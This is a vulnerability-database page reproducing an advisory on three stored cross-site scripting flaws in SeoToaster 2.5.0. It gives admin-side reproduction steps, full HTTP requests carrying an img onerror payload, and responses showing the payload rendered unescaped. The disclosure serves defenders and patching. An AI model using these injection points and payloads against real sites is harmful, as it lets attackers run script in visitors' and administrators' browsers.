Lucene search
K

📄 SeoToaster 2.5.0 Cross Site Scripting

🗓️ 30 Jul 2025 00:00:00Reported by Andrey StoykovType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 79 Views

Stored cross-site scripting flaw in SeoToaster version 2.5.0 allows admin header edits to inject payload.

Code
# Exploit Title: Stored XSS "Edit Header" Functionality - seotoasterv2.5.0
    # Date: 07/2025
    # Exploit Author: Andrey Stoykov
    # Version: 2.5.0
    # Tested on: Debian 12
    # Blog: https://msecureltd.blogspot.com/
    
    
    Stored XSS "Edit Header" Functionality #1:
    
    Steps to Reproduce:
    
    Login as admin user and visit "News"
    Click on "Edit Header Content" and enter the payload "><img src=x
    onerror=alert(1)>
    
    
    // HTTP POST Request Editing Header
    
    POST
    /seotoaster/backend/backend_content/add/containerType/3/containerName/right_2/pageId/20
    HTTP/1.1
    Host: 192.168.58.149
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0)
    Gecko/20100101 Firefox/141.0
    [...]
    
    content="><img src=x
    onerror=alert(1)>&containerType=&containerName=&pageId=&containerId=&secureToken=f617b019f0d4dc84000659711cf16b0a
    
    
    // HTTP Response
    
    HTTP/1.1 200 OK
    Date: Sat, 19 Jul 2025 19:21:00 GMT
    Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
    Perl/v5.16.3
    [...]
    
    {"error":0,"responseText":"148","httpCode":200}
    
    
    // HTTP GET Request
    
    GET
    /seotoaster/news/b2b-marketing-automation-a-booming-market-for-smart-web-agencies-1423145781.html
    HTTP/1.1
    Host: 192.168.58.149
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0)
    Gecko/20100101 Firefox/141.0
    [...]
    
    
    // HTTP Response
    
    HTTP/1.1 200 OK
    Date: Sat, 19 Jul 2025 19:21:00 GMT
    Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
    Perl/v5.16.3
    X-Powered-By: PHP/5.6.40
    X-Frame-Options: SAMEORIGIN
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
    pre-check=0
    Pragma: no-cache
    Keep-Alive: timeout=5, max=99
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
    Content-Length: 36973
    
    [...]
    <h3>"><img src=x onerror=alert(1)><a class="tpopup generator-links"
    data-pwidth="600" data-pheight="140" title="Click to edit header content"
    href="javascript:;" data-url="
    http://192.168.58.149/seotoaster/backend/backend_content/edit/id/148/containerType/3"><img
    width="26" height="26" src="
    http://192.168.58.149/seotoaster/system/images/editadd-header.png"
    alt="edit header content" /></a></h3>
    [...]
    
    
    
    # Exploit Title: Stored XSS "Create Page" Functionality - seotoasterv2.5.0
    # Date: 07/2025
    # Exploit Author: Andrey Stoykov
    # Version: 2.5.0
    # Tested on: Debian 12
    # Blog: https://msecureltd.blogspot.com/
    
    Stored XSS "Create Page" Functionality #1:
    
    Steps to Reproduce
    
    1. Login with admin and visit "Pages" > "Create a Page"
    2. In the "Meta Description" add the following payload "><img src=x
    onerror=alert(1)>
    
    
    // HTTP POST Request
    
    POST /seotoaster/backend/backend_page/page HTTP/1.1
    Host: 192.168.58.149
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0)
    Gecko/20100101 Firefox/141.0
    [...]
    
    h1=test3&headerTitle=test3&url=test3&navName=test3&metaKeywords=test3&metaDescription="><img
    src=x
    onerror=alert(1)>&inMenu=1&pageCategory=1&templateId=index&extraOptions=option_search&teaserText=test&removePreviousOption=yes&pageId=&draft=0&optimized=0&publishAt=&externalLinkStatus=0&externalLink=&secureToken=98a6a5f28e1844384d2d41f8e1d0a229&original-page-url=
    
    
    // HTTP Response
    
    HTTP/1.1 200 OK
    Date: Sun, 20 Jul 2025 15:20:42 GMT
    Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
    Perl/v5.16.3
    X-Powered-By: PHP/5.6.40
    X-Frame-Options: SAMEORIGIN
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
    pre-check=0
    Pragma: no-cache
    Content-Length: 69
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: application/json
    
    {"error":0,"responseText":{"redirectTo":"test3.html"},"httpCode":200}
    
    
    // HTTP GET Request
    
    GET /seotoaster/test3.html HTTP/1.1
    Host: 192.168.58.149
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0)
    Gecko/20100101 Firefox/141.0
    [...]
    
    
    // HTTP Response
    
    HTTP/1.1 200 OK
    Date: Sun, 20 Jul 2025 15:20:44 GMT
    Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
    Perl/v5.16.3
    [...]
    
    [...]
    <p class="news-description grid_10 omega">"><img src=x onerror=alert(1)></p>
    </div>
    [...]
    
    
    
    
    # Exploit Title: Stored XSS "Edit General Info" Functionality - seotoasterv2.5.0
    # Date: 07/2025
    # Exploit Author: Andrey Stoykov
    # Version: 2.5.0
    # Tested on: Debian 12
    # Blog: https://msecureltd.blogspot.com/
    
    Stored XSS "Edit General Info" Functionality #3:
    
    Steps to Reproduce
    
    1. Login with admin and visit "Website ID Card" > "Website Id Card"
    2. In the "Organization Name" add the following payload "><img src=x
    onerror=alert(1)>
    
    // HTTP POST Request
    
    POST /seotoaster/plugin/widcard/run/setWebsiteIdCard HTTP/1.1
    Host: 192.168.58.149
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0)
    Gecko/20100101 Firefox/141.0
    [...]
    
    ------geckoformboundarye25c980b11fd10ddbadfbd1b54af4d87
    Content-Disposition: form-data; name="organization_name"
    
    "><img src=x onerror=alert(`xss1`)>
    ------geckoformboundarye25c980b11fd10ddbadfbd1b54af4d87
    Content-Disposition: form-data; name="organization_description"
    
    "><img src=x onerror=alert(`xss2`)>
    ------geckoformboundarye25c980b11fd10ddbadfbd1b54af4d87
    [...]
    
    // HTTP Response
    
    HTTP/1.1 302 Found
    Date: Sun, 20 Jul 2025 15:35:07 GMT
    Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
    Perl/v5.16.3
    [...]
    
    // HTTP GET Request
    
    GET /seotoaster/plugin/widcard/run/getWebsiteIdCard HTTP/1.1
    Host: 192.168.58.149
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0)
    Gecko/20100101 Firefox/141.0
    [...]
    
    // HTTP Response
    
    HTTP/1.1 200 OK
    Date: Sun, 20 Jul 2025 15:35:11 GMT
    Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
    Perl/v5.16.3
    [...]
    
    [...]
    <input type="text" name="organization_name" value=""><img src=x
    onerror=alert(`xss1`)>" />
    [...]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation